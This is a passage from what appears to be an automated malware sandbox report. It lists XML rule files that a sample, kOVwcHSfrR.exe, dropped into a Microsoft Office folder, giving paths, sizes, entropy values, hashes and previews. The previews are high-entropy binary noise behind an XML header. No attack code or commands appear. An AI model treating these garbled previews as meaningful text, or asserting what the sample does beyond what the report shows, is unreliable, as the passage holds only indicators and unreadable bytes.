Preview:	<?xml'..b..n.C.K&'t^.".'4......N..W...'...d:.c.<V..=9..kj.?.@$.......7.1P.B\.M!..d.>S...0V.g.+Q.(.LD_B....OZ.r`T..I..I"Y.S.o....G.....#..en..-. .a.8..?T...e..B..s.<.)W.....Z.y4x.7MR.... .j...L<..[V......c...zN:...Y.....bA.".L:l.......<2.....#5.......3.u.t..S38...s..&"......_Mq..{>......P....w<........ZTB/.it..s....mB =..Px.d...H.#../.6W....$j.Wm..M.........iC7,.....8..D............\|.'.......#..-...g...y......d...........B...k.z..../M....^.....l...y....x.p.Td@q..M...3GU1....HB'.mN.T..R.0.0q..+...}h.7....D....V.....6fcq.$.v.!...:...dr.%_..;...!.....i.j.^.79.NH.....lty.\.])4..`8S...'0:...C..<..hDILwN.0_...K..q..)...Jz.0I.3.....m.G...o..........\..bW..,iTo.\|.1.-....d..nY.l5.0fq..?..n......^.......3...BrE...8_K3..b.B ..r.f...B.e..mt..@ZvZ...!....-x.L..)y........%....s"D.....u..:/...<+..nTi...t..`^..N.4...+.t.R,..hakp......D..2..hI.6Ep......=N$x........n....\..^ZC...5Y..x.H..I..........n!.........y:...X..B. ..*..,....v....(._(..Di....a:A.Ct....,<...]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.874951177140223
Encrypted:	false
SSDEEP:	48:ztkjqN/e4M2k9Nt6ulYSZ/vKCTJoDU0XyD:zd9eok9N4zs/CeOVXa
MD5:	5B7744180EF7DCFD1373B35CBA8AC47A
SHA1:	4DA52C6E526FFA8321F8EFD66BC2343D17D19ADE
SHA-256:	FF32B394D8F9A4520CE2BCBDA158179121C38230828BE4FB1A0A1CA91A6F988C
SHA-512:	AA6760A4556D6FB0941185F313B7C51F4A7A6E4544E8B7498B586E94723A3AB6CA58197621F88BCD0610C2F040E75D41C6AEC41759B27F780FB26DA7D5597489
Malicious:	false
Preview:	<?xml.7.%..O..b..k....z.....b.#.D...fF.\..E....L.....`.:kj`.].u..u.].S[..F<rO.....%.6.S>(lbW....G..p@i..{.K!.o..6(2...KM.?.U...S..ey.#..eQ.p...4...afA.U..E"...Y..N!....:......E..Y."}...9u&/8F..4..k.0R.c"K&..8.oe..9..T....,.K.f.2%...Y...oV......@A9..\|........301\|C7L.N...O.n.GCx.1....A@..Y..m..].:&n..W.Vu...^l.ud..5...S..K..Ssh.....A9.....&swP6Y.F.Y...0V.m....N.Eb.....eU#.4......R.1..j-.Y.i.\\#<}.....b..=.......M.R.T..Y7J=.e}u..{Y.>.F.e.Z...]o.$...RmL..c..4.<.y.%...0..W..~-9..jag...K..fs[.{1.9.2...b4..^...m>.G.x.Y.........]...rk..X.D..\|.&..M0.m};.R.........@v.a.j.H.g...@/..d...\07..2^..b..It6XoVn.o...j.._..cRE.,..".d.."...J..Y..yG)..2..../..>.....F.nk..t..gH....&...W..1.QN...q'._.U.Bj.e.l`.bI..,zc.....O..W. (.._Nn..u.-s...uy..".y....q..(.A?E1.*.%...I.....]..,.t.V...n\|..q....Y\|.T.L.;.B......&/....~.......:..ZA..]F.W. ..\|.7..{...)...Pc..w\V,..&......ixW....T...\...N...$c[....9.~k.c...KD&.@..\#J..p.....gj..6\}...-..Tl....wU..[.mJF....p.Q.2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8900061591474735
Encrypted:	false
SSDEEP:	48:CSRK2W+Iz/riQxkBVkYKUtvSB5vlTVAyVryD:9s2Wjz/WckLvKx3lTWGa
MD5:	C8DD798FE5F01CEACD9C7445CE9C694E
SHA1:	537614B012AA6E538B977962DD34FE14813B0292
SHA-256:	5970AD26244A4311C0FEC8547CBE775DE178DAC913694046F46B3523A77ECE54
SHA-512:	A943D05B18ACF8041EF31E5721E83E396534C790883A5C2EA235D4BE9133EC8B1FD0FCC4A3D88FC8645AA146961B3973FD2C7C77D33DD3C41E9C756AF4DE7F93
Malicious:	false
Preview:	<?xml..,.......d...ve!.z..k. ....!.._..)..".h.g.E~.....x.$..Q&.0.......B.\\|.7....\.p.n...r..HV;6.k.9.......FU9..M#.U.'.....r.cA.~.,......e...E...T....k.R..`..z..Y.=f...?..........KE....f...6M.>..:...Jg5.n<........eU.&..g.r..:h.\..,..q.]....wW8..K...af...Hx..Q.d.&.D.^...W..e...dJ..=...pG..e\|W.{@..!Z...nK........_....&F.U!..x_...D...q.a.D.1....H1..0...?...7D...E..."..^%.l.-H..X..n...:.A..V.1.{...X..T.&..@kn..}p;.\|O...s.=.j...U..A..rWDz]....U...3`...v..<.w\|LY....9.....).J.6..<.q.V_?.V.&.7,.".*.]R.......Y.$..ln.c_...xgq^.K....i.. .Y.G.t.o.{...p...q..Z..0.....' .....T..B5y..$.U..., ...2.T.w./.\|..N.<Z.%.H.......g.&0...#....n.......s.NBQpw.x\|A..u.8.`=.4....w...+.lp........P..{T..`.58..Z......l{..U7.5,S.. .:..6...xU{...&c!...F 4 m......-8..B.8,p%....+Y.K...A...D...p9+......}t..i......(=.........um.......g.9.;Z............9`i..We.b;......c...Jhz1..sy..rR.!..k)F....M..K..J......G&......7.'.6..2....D..E.:..7..HP.sO.D.>"...l.Z....EngbK./T..8:s.a.L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.894188856339901
Encrypted:	false
SSDEEP:	48:sKZU43FEgOPhQOgEmdIynW3I7XdPMYogEjyD:s141EhhXn2IPIB3orja
MD5:	93E7DF0288BCD0988B36E027D253A988
SHA1:	6CAD41FA8C8782C2801B000E17E457F21FDB2044
SHA-256:	8D24E7DB5E5739F771778F0B8D5A0DEC5A8EF9DCEFFD9AB16A8C2A7E8F97E7B3
SHA-512:	0AF8B3A890AFE46415E4DC8622F9CD9EF82A0476564BE1E3ADC822FED2F32D0EEB6ACB865977AF207982D6D1437BF4ED014B96170090A8CCEDE3B4DA339EAE78
Malicious:	false
Preview:	<?xml....]..z..v..uN...o.\U.[..S.Z.H2....n,......F....d.._..I..r._.L..O u...<.Z...z..%..,...8.{y...aE'...-..~>.%...,L..\|.]...LD.".>.Q-.Iv.3..@.#..e._G...e.C....n.meF.......\|.....K=.t......v.u.......0..6......md.l.....L....jI..2.<..V.G....2...b$...[...Z..q_...5.o.iv..Jh^.e..".....6;......;==&_'.$v...d._.uY..M3.!Y.e...3.&...y(..J..K.\|.\|V.YT.\[...=y=a2'm.Wom...].8...!.1..}...'....6..l..q....Cx.....rv}.M..-.....Y..T....A...U.i..oC..V...Ll.B.n.O...<Mw.i...&.*.F.)...5C..X..-..V....b..q,..MmU...7...F.`g^...Ju.N......MX.D.e...:a8.p.(.;...}.......#..p....\|..y7.\...>...).1.`.-.q2...&pp.Y1.B.5l..`K.v/...+f...7.Dm...w89.#B..}...d.........pC!iD......\|.....:x5..uZmn....oI.\.X..Jrp.yP../H...#'JcOoJ..r.p.>.T..=....\|...:...9?.._t.r..R..\|).Op...p0NzP.N..L\.x...........8........\|.J ...$..<.%o.\|.$.w<..YU.....'A1..Q..$..UW:..w....~.L,.h.[....{.K.f.p....J{~..p...(....P.R..k.Z.\|v..ZT..9!Kj...(.F2.:E`...d..}....d..^.].]+..zlX...i..GHJyw...x;O..HQ?p.y-G.9O...g..v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.875129228231636
Encrypted:	false
SSDEEP:	48:AEGqpkmCZB7M3OkkbcaEoKk5HoISePV5V75NvZVr+1ryD:A/qpRYG+kkbca795PFVz75t7rGa
MD5:	3B3E6335ABC753EA82F7787CB2D23870
SHA1:	B71FB445A648EC8CA89AAEB0748ACE6096C1DA9F
SHA-256:	4AE6D0365B8442D76EA11161ED0BBE3604CB6AB1A8E561BCE47BB90474819F2F
SHA-512:	9BDB47850CAC715746D8173DB002F39F87E645BAC0A972D0B117A794D4DD3F68AC154F4DEA9248424084550EC67772852B056C16C71E3ED656FBB5B2BEC9F283
Malicious:	false
Preview:	<?xml.~X....Km;.6.cu....E...q.......C..YoJ.z.n...h..u...k.../...."..v....xt...Z%.D..,..A.D...HO#..h..p...5.z....Y..Q...."..p/j%...+....`.S..T...7.....rfd....'.;...._.....]l.2..eY..,G>_..M.VLU(......fx....Y..A0.;....m.....'.%..T.....z6=..a[....G..~...R..B.o[b..../}...$..W?..k.X.wy.'0..V..}..#...........6..#.I.....c.09.g...<.z...A.+I.?.l..w..1..>..W$..U...8...`.G...S.T4.f....z.JF..[-.W..D..}#..#NJ..6...e#..&..Dq.#9.,-.Q.u{.E..k....-a..;,......ov".}........sg..HlI.X"...y.u...l.P.`......Z>....iYb;......]..%..6Q.9..P`..8<.......q.u.....^...G....2H5^.....:f.K..5h..U.X.....Ub:@...^....%..Kh/8zT.O.I...%.{)GY.#.p.....}...EV....K...COn..;.T<.....K....('..q./.. ..`......T.....>.....,.i..[..R.......#&Y....G,...g/.2...J...m.....Vr-D....b...~.U........3O......P.N.9n.^%9.9..T..N(.Y.r.@.?.*....,t..c)V..Ut....B.M.$.+ .p.9..s.(.f..9.>....F.@g.!..P.P...it.#/.....;..Tp......f9g.L..d......(.....;....0.-.f.9...[..1......;N..R$....m..=U....r.(X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.885301697266914
Encrypted:	false
SSDEEP:	48:V9W/AP7iNuuyagcNFM2M3V1w8WLsiPEcOu43U3gyD:jWasyoNu2w1GsoCu43Uwa
MD5:	8B299D28DCE73DF83F722FA3EB7EDF79
SHA1:	F7C693E9360162D5650EE38E2114DEDD28399F0A
SHA-256:	24AB025D4C38F8CAD70B02F38B644C48C54BD5581EDB026B63BA2F5ED1E284FB
SHA-512:	30DBF651FEDF72D843DEC0223BFE4869F617F20D8EAB0B8149E06D874BE9B75E05E6DC29DA06F17763785453463A745F3FB2D3F6364E4EC13B52BE4EBC145223
Malicious:	false
Preview:	<?xmlV..\(>..M.../.n.]H.I..}{..\..-.X.....H._.a.....[7......(e-.v....T.d7..&T...m.6...<.zV..JR$.d......S.JW6Gra..a.!<m...&{..m.'.aW".`k.<.tqS.!.w..d@...0=,.....:..Sg.+...e.y........%..)..N.&.U..q.'S...1o..}0........ve'...E..@yx.d.2.[..h.(.U.W.<..+...Z....).yG.z..m\|b..o.<3...).$.+...4w..=...CI'K.zX..L.....k.f..T....Dzm...N....... "a..rJ..0._.W-..].X....2...;...)Y.f...w.p......I....2.....i..)~7.~..]..5.f..]..."^.l.Bq.....B....K..{_...M.,.M..D..+....y..i... .C..........(................_)m.2CS....Y>u~Uq...c.a:..Y...-....,..........P....J..?..B...E.o..MS....v=... bZ......"\....b......?.....m.k._.'E.K..98.yBM../.O.....E=@.. ...,v...:..np...P..]~B.^\|.-N.N.^......m...qH....'..j.]...S:.....g..0Yn...G..m....A....N<..P........ZS..!"..,MU..p.^....L...w....$.;)I.....v....1...S.Y.c....Uvb...F.>.o9.....$.z.K.U..NO.m.......=..;...eQ.:...7.......g..4.%.f.e.`\..nwc ..$..j.R{..RVh7N..*N)...G;....P..Z......l.2..<..G..[......<gk'.....iwN.9..1r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.903464290208763
Encrypted:	false
SSDEEP:	48:uGYl+pM2dRfNzXVyuZsn6PvnT0Bnokg7EyD:NG2NzlyB6XnaLgYa
MD5:	DFFAAC489E13D87202BCF66D75553B37
SHA1:	44C37A58FC8B3F86310509816F244D9DF6AE6936
SHA-256:	5C007AFFA10817395144912202CFDFCDA911BD90ECB889AC53B5EC7C0AD7EA1C
SHA-512:	A48FE700B1D84F10ED580FDC39A16226AAFEA0AA0E5AD0A4F72323F44DDDBEA74C54A0D50346FE99F19FDA9BE5373EFEAB3CDE09CD92D28DA738C4B7AD38363D
Malicious:	false
Preview:	<?xml+J.X..=.N......lD...i.p...%.x..IO......x/VW.e...s.Z.........H...f..\.f..4_..h..0.3....).2&...1....d#EZ...l....c...".....l.y.!..}...M.qu].[I..(.!..m5......h;...9..\k...o.y..r.mDH...9...ImI.#...e-nb'........../.....2A..........h.H5w'-.WH..:)(...HN.H.d....q....b:;.+T..i.-.^`X.a5+....~-.q;....`..M...)..<U.a."{..e...A./k..t.F.^.8...+.Y.h-.~......h.{N..)...........WE..3...T..uP.6.. Kw..... ..}4(..w..p=...<..R..um..r.]aO1I.W.......clw.{......H.;...~(.....P-...\..Ck....8.1...F...Z......0. k..M....V..b].i.x.....3....l.M....V.X...;F%...........h......]C.8(.6[+.{..a..c.7..Z..Z..Za..~.8j.\|.....7....k.....\|&.r~8d.v.`:.6%.58.q..C2..D.Qq....T.jAv....2....}Aq.....d...+`....%../}..WhZ...e...j.{st*dj.Zn.X,L~..t.. Va.(-......2".[.........\|..qV^O...#G.+.Q....~....K.....J..\|)^S.\...S...4...U].T?..............ky.gYQ6...]..1...n.Y..3.=.(.....:.Qx....\|.&.p...M.V..t....e....Ya.v\{.......H.=.....c.Sb.80..N...VL'.....j.6f......>F...D.9L..i.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.875793411453367
Encrypted:	false
SSDEEP:	48:ym7cCuaC+WQhFCrDnt2soEgoYznOb4HyD:ncVx0nCrDntHbvY68Ha
MD5:	27B61435A1B20CD5399E1F7405721E05
SHA1:	54A884982AD1195D49FDBC67ECEE58BAD987D190
SHA-256:	32B42C1D2CCF150B2C1FC5AC94EF1941D420ABC4C6977AAC3A5CC73EAD527860
SHA-512:	A92F3BFA4BA9642E8208A05CFCDFD56750C50CE56AEB1A7F0D2100154586D768B0C687E3A909E8A59C272BDAAFABEFB3479A85CBD2618B56AB851121B08640B3
Malicious:	false
Preview:	<?xml..,K....l,L......U%.Ir.}..#...f...5........&....(.bZg..c.......Od@...E..pa.....b.f.+.p..^...g...XwwE.F.....Lw...].....Ob.J.B...4.+.C.+..H!.......qL[yh..}.Q%.U.=q........\+....{.JKKC...=...>......i...l....SYw3.s.....~.>...=V;..R........../.....k.1}.r.U....Il...@2c^.O8X.YG".:.d.t.`.&..%..(...Rq^7...D:x...U..T8J.\XK.U0\...S.]rmA...LC.S_.`C..L.a...kA._...#...F...2".6h\....Z..}.H==....Lm&..e.....Y.67....k@.s.!...6..+.=......5...>.m.;.5.8y.p.....t]`..i=........[/.r...m......{.....R.J.:Ti.l..0....[..G.hj..dK.t.......,..7(.QJ....BG...........xK.vR....w..Z......h..;....3_.0FD..E.1...6.c.q.:...aH.z...0..L\|....t;9.....p.MD..t.;.....`..(I~5D.C&...nH..\|s?/.x#/.~).S8ne....l..vc`......F....#.C.w1C5........So8`.B.K....?.........../f..."/.\...Di.@.......u..7.6........<.=...$v...^x.....H.-p...Eq..TN.<Q.E...T......2...5.}..Wl..{g.......P.=.N.4t_5.q..%...=9W.[W.`.m.g.&..cmTTO. 5.(.j...J._.X...t?.........^.t..ub...../w..B...ct...j..ZN.m/.....8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.899346807103057
Encrypted:	false
SSDEEP:	24:sny0LnPZf0Vrc+TpWA7cMjQ+GjEvhrxYLjmTAWNTKRk+bcZ7mc4BRBcJwJWKow1X:4yWn9+4fiQ+GjAhreLjmDZKFomVd+yD
MD5:	C1DD863A6A0CE0B1EA9E0FFB4ED6B54E
SHA1:	9B0A06E9B94FD497D45F40A2674B4A6FF02D3712
SHA-256:	E49710EAB174096895A02D2C96DE46059A3071E1817D151D292F0D987690F330
SHA-512:	81F0EDFAD1BC745C75F38D7880BF18889EBBFB79DB1F75B1416E75BDDF8A7C42CB90BC7C6DCF063569C8E1224D7BC5063C77FE98FE38657765807C19B01A898B
Malicious:	false
Preview:	<?xml........E...7.h2...(..'.7j.d../..\.&...9.g/?...)Ug...8..>.Q.).<:..8.......5...._..=.&..e.<.../..r..U....,.m.6..}.2......N.._^.tg..Q.%...g.4.n..\P{9_W,5.yk.%%..\...YY'..i..p..0."...M{..{..W...u...a...........4..h....,z.'0.Ln.W..Fz2z...b....m...!l...M.K.P.!..........ps_.......h...~.0..p.......X.;0../~004..y..Qr][.Ms.r..{........Jg..v..\Jv?...&..~...W..R...v...K.$F......:...N:....\|...:.`...O.....)[ .....0B>.....(.b.2...=_-.p..WK..Z...+Z.lK.Si.o.-\|...~A.>+.z=.m\@5...?.C.J....a..ew..'.....EF.T.(......c..C......o .A:e.XH7.U..z..(T...=/p..2...6.._.i,.].z..[..:.....(....t..........A..........8-9...._[.b...Z...Ac..B.5ok.HWy.^l.\|2...;\|...'....?g..[....G.v.ao.P........h..y-.P.`_..!.`i..p\|.s.!%...U.M...Z..1.......L...1d.N..7JC?..1nLC....Ph...-U..:[.P.K`2`]c..H.;......G}.\|..Ic5P.IZv...z..N......._F.K.r.J .9.\....U.S0.d.b. .8u.x.t.b.~....hs.!.<!B.d.bL.(T.!H%..}9.q....X.a..h...Q...).....$....\|=..z.....t9......9H.q:...O2...ue%<.f.dg...i.`..>.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.89210934708284
Encrypted:	false
SSDEEP:	24:7+L327ilZZC6p831Zm8YA77hj2BbKaMJ1+YNROyj304/552w1bD:7+qIZZCNj5YoAB+Fi2ROu04SyD
MD5:	173B5394863649E056F785FE205EE508
SHA1:	2174A3090C897A752E1BD368A0914050E31F6080
SHA-256:	EFBC76315A463775F48CD1D8595EAD4EB5F1E75DAA2ACBD7FEEAA42A5E280D20
SHA-512:	37FC4C8FF82C23B5476D05DFADE47737BE0E76D64FD193F9C3B9FC0A2F5782207394CAA47E4B522DC2DEE13AF5E136522F91E153EF574ECBF23197FD8D47B7CB
Malicious:	false
Preview:	<?xml..".X.f..+.3.......6.....C\|...v~...4G....6.w...T.........c2...s.x.b...=..Y....x.Y...M.0.I U!x.~.-........H...X=..+.w.!....+C..QD&..Q..i.F?%.:h.k..W...8.S.....h...t....m..u@..,).qJ.j..I...'.f...b.........v.>....$...=.......nt...1..B...A..W.>Y.\|.%..2kJe.\|...pWZSf.`4........5..t..n..o.2...D....8...Bj:_3n...V.8..k....dO....n.o..f.9w+o/.....6..{.@..zui(2...E@..y.o.a.....Z.g.ld...........&....Ak.q...........o.......7.._..`R./HF...z.. .>.B..(..".....>E..F..5Lg^.\|o.c.,TlwZ,..J..'....H....i....u...:...I.$?u.?I..Ut.zh.:?r...N..mJM.Y.......^...C\....+.A..Y..;h....1.a..g..3.W...x....'0.\3.E-..3"..X...WY.>.I]Q....S...".hX.!.e.V...).S...Z.H.3..H.{T.[.\|.$...Y;m.....v.5..7.F.e.8......c.........9..\|...9.U...h..........yvo%...&..<.....8`0.d..........r2.9..h.).....+.@...z.E.d..z..v...c....Yo.....,....@....`.e2%......v...k....8;=.....=,0.......K<.@,.D.i.....*=....F...........I.%.j...j.P...,f.@.o.I......#dL7/...w...;&T.....;\.RTbA.uQLibh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.8910190840824095
Encrypted:	false
SSDEEP:	48:hcyCpDl7qnE2M++zHpwst9WiD72+qBuKYS89yD:CyCp9qnNM+awsiiD72VUDT9a
MD5:	0DE2B7D1967A61516DCD46E90117DAD8
SHA1:	DDDAB571FC18348BDBA3A1306599A483187A0152
SHA-256:	2A6B9D5FAD9A666BF6288E1FDCDACD0E8D44BC653A1AF3BA310816AF38B4309F
SHA-512:	264D5B1F034542F4242A598362976EC58493488EE509FE8B823FCC2181A9F0AE74B107B018F55EB8447B4ACA88F4C5019771C9197814C4E17A7A9DB39E3D1007
Malicious:	false
Preview:	<?xml\b....Z3..AG....M0...H.2+..<.n&....o..Sy.q...SV"R.l....X...9H.....).@......wI.cu......q.pJ..a....oM.U.j...E....'.9u...8.=.x=W.. RItR...l2Js>.y.....]j:.S..b.8.y....(..yL..W..~......D.gtm..4.Y.1_+=..uo......&.......d.g..X.y[.h.wCz..R..... ...z:.....G~.].UT..fq..4.:...#...G}.j...%H.9........... Z.s6....~.A..[.......Y...xW..../...hkd.L.4.9...bS-~.D.H...E.q.{%...jT.dH.i....#.D].C.E...C.....I...\,2..;a`0..Z.K .3 ~.BV..V....0....S.Qy...^.\..I..SM..A..F..6..z....BNc..<.\..A1...>.f_.5q..gR....Yd z...`..U..]..fJ...t.{8I..,.\|Ye......K.F.H......:-.....V....~.ce...R...C.\|x..)...zu=..y..[i9\..B.^....p1..F.oZY..J..8#.t..m........h...8aB.H.5..KL.M.1.W..V;..gw... PS...uqo+JO..:@.Lm..g..v..E,.+..Nd..Mz... .6...:..D..l...w.U5=.h.=......RY:..>.U.]..@..(....x.$....+F.xh9WG..1o..._.]..s.Y>..CT........N...).`...b3.......L............q.k....._.....1.p............7.?.Pb...N..b...8,{...\..ne.^>...L.<r.].. J..Z$...............q..3(.....{.p......)v...;.Dp...VR.(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.882806656230732
Encrypted:	false
SSDEEP:	24:eG0QYCZnL5NIVCaxlnhfDuXeiC97Wmh2shMtwVoM7862Ab43WQS3yRtw1bD:113lF/aRfiy97N2swjTW4m1iRtyD
MD5:	D2B77C2A8B5B4B9301042B8452BBF627
SHA1:	CBF5A706D84CAEC4B069D0792A5A17D804502EA2
SHA-256:	55FC48B10D667A084928C21487A52312E7D36FA045D36E4DFB6B38FFC78A6653
SHA-512:	4BD4C632D008F9019A7CBA90BC2168ED8A668CC323C4E82C066E4751EC5722066C1AE5A443206566D0C78962E67700ECD3F14EDD20CFB6C489D441D1B8A97391
Malicious:	false
Preview:	<?xmlI-.^..m.+...O..~.d_Y;.......y3....Y...pZI.#>..ui...m..P..P...F_..+. .#....<..k,)T\i...8....WQ.,....9..7.....l..b../..:$.2.<..@.Z@b.....s..e.8...w....].B.q....3.........?D.4..L.o...........M..1.#'......_f..M!.b.V.....d.>@P...R5.....nk9.h.SG.3b.....9.<.\.....z8xR..{..+...v8,_....Fx$J.......K.&.:... o.....Q%H]..s..I...i.qz.K\|sp.Ax,v"9.....M......i.}.n/...w.p...J.EV...G.......(.d.m......(M..c.v......(. .\....../..k..CC...E..4j.$X,...r.a.RW..9.R..S..2....V.6....Sp..^.A..Z........d.....j.-'b.#..v].~.c..qI..E[..&.`......)...~)...F...:/gE......(.@........n..j.o.Q....b>.^o..$....'..g..$...I...oh.n8..A...#W....z...K..c.uyx.&..]p..l..5..q.uDtQI.u.../.V.w-.G....y5.F[.P[#h.m-..Y?.H8Ap\..N..[.....XJ..a...y.j.....u..Y.n....O....6.DHB.:.....n.:...kmE.S.s....?......)wV.VjB..d.2..k..t...x..G.N.E]..l....U)....@z..{.h.Z.^.gK.....k...%...3.6.2...^.0.....aH.D.C#..S4{....N1...1.a.[...E....@.0...[~h....w@..Y......mOB.[..l..a XP....z.".A..:....'Y.....Nx..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.885840440374142
Encrypted:	false
SSDEEP:	48:45CEWYvzfS8N5/2vJgFYMOvWOvxU+A/1vyD:KWYv7Sr2DOOWQ/1va
MD5:	65CD02D7EF946E223088ED4E0423C5D4
SHA1:	39AC084C2A1F1AE4ACC3C4852B209BC88936E286
SHA-256:	5DC45EE68141F4B7D69071DEAE23537E64282D69DD6E1E231082088B3B27FE53
SHA-512:	A5C658954C5288A16FB728F389730F39F3C6D9B654843C0EDD1FA6F39FAB9DB46B06306C45AE2DCCDE4C9C8611972D97C8569A370CBDB64FE5B2AA9B4C4C9359
Malicious:	false
Preview:	<?xml:8........Gu...h?.....9.8....).+R....1.7r...n._l..pC....../..y0'b\0+7.....)..R..Iq.0......z:..^.H..Y2&4........6..r.....i.WMy..\|.y.0....p/.q...i.Ko.@8._O?...K{`...aK:r...Kpn<n...~...A.`.$..dl.^ix...)#/.=..JJ.ow.\|..U..8...b.....i9.Q...b...#5..c^.0Ll..u<...7i.8...1,.....V.R.-..i.x..O..[!...#A$L..B.O%j../...\|/........os....].L.M._.....j...!...EK...0L0R.h:..T.}..(.........Z...DLpU.."(.8#AL....9...{\.`..@......#..w.]}.y...t(.9..!....b+8.~......YD^....SJ._.aIkF.M$9..v......E.).t.N...fe....P....!..+.A.s...........e.,...C........[....l.y0.jY.vb...}Z8X\.Y.u..8>....7.j.Y.P.....+....0..q1.;p....Y.%..].fn.{.H ..~...$]t....?...eF{...4.s.Hn......X.?.;@T7...#q...O:M....\|.h70].,."G.S..!.&2-)...u.8o.]...g...h..A..O.H....=.].....$..+.~..s...K.....U9......z%....W...N!.P.....@......}D.E.....h{`F..=H9(.]....9'....\....t.c...d/7..8B....\.zz..'l7...@...... ......Yq.]B.....U.I-..a).H.8....Mjh.=.?...a....$...d._.V2Zp..?...._.=....2.Z.L...=.2.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8724061191994315
Encrypted:	false
SSDEEP:	24:iznloTBeb3AFicMnpLqfDAqI4fJ8NguqYP7o3X2w/ndlq5n9QXK+Pm/k9Hw1bD:Gn3Ei1npLecnOWNg47YmAdlVKpSyD
MD5:	634CF8FA4C9D548E3DDB0B87EFDE8093
SHA1:	E03605462335CDC7EC037C0FCD9D9FC2B0AD97C0
SHA-256:	05744B592332631124F3AE62B4A85F6AE7CF3108D0AEA4DB3D4011035BB02E8A
SHA-512:	93E53CE8B71E1BE2DEFE1E7F71D41B310C55A38D487D46208E88C1405DE5310BC3098062819EF8D710BE930D831B245BCAB2C1CBB973069F5CF0BC292E742BD4
Malicious:	false
Preview:	<?xmlw..t..J.m.[VM.=..5.O.lO....h..BWPX...B....gG.]....4...p.0.).......-.J.....N..n../H...M.J..#.eZ..n.p..L...N..t}..M.Ru)j...IE...zBk.qc.)'&.A.).....N......`.K\|$..>.rlY......}...k..z.%.-G1.@...~...........\|#p%.x .......p.7$_.]....4E].b.....9.;:A.6.(.qqop..Dl.?.8...Bh.MR..#7..;.Q..$.).H.:..C.3.\~bt.B..!.^%.$o..C..5.&4...N.3..<....a.......L?V..V......'\|U.%.6..P<.P.x.eL:....r.z...CYL.qJ(.(...?...5..t...`....g.[.....DT.?.]....b_J.[.......{e[..x....&...*X...e..=.[Kn.C!.t>.&...q&UL.2....'..W.#......E..=........q./...%.. k%^6.^.......Z......b.[.[.@..S..j.A....Ogg.`."..%Z~....-.PO..K..Zz..T.......[...\|I.h.H)9=.z...?..jh..$Vn%.2.y.0k.R..C..:.',...G1.....^M...$\|..;.........q.Z.xt..... 7Y.@.X7.C.....mO]....&a3H..X0........Iz.....n@.:d.....d...u.7.C.yA.....q.7..v..dL..}.......=.9...)@.&s...8byF.....x!........n.l.....+..$^G..l9.....Z(.K...#br...Xu..g.....C&......@A. ..4...c..x.g$...f...q"....h...%:..o-...-.......Ve....4h....Z...".VB...{..0.t.....o..D....G.lW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.893841041171873
Encrypted:	false
SSDEEP:	24:FMG2s99SOSFKfPK/6dNhdxTOX/GIvaS2WuPRr3bf0NolzFgpRVNFiw1bD:WG2xsC/CJJIvabpNT0+JFS0yD
MD5:	39296E8E816D9A6062B0CA465B174D19
SHA1:	6F6B1EC5D9FBA198C832E8CA047BCD53A505197E
SHA-256:	27231C6808A62282A45D4CE250670AF5AAD864BB5D9C31D452C7F84129981A02
SHA-512:	D511DA92C17768DF8E8ABC527E42020E54AB69635AA3F627664393A2A2D5FA8D77846F5021A10B0B80559381D2F23E698991D75629097E728F73188C0A3528E6
Malicious:	false
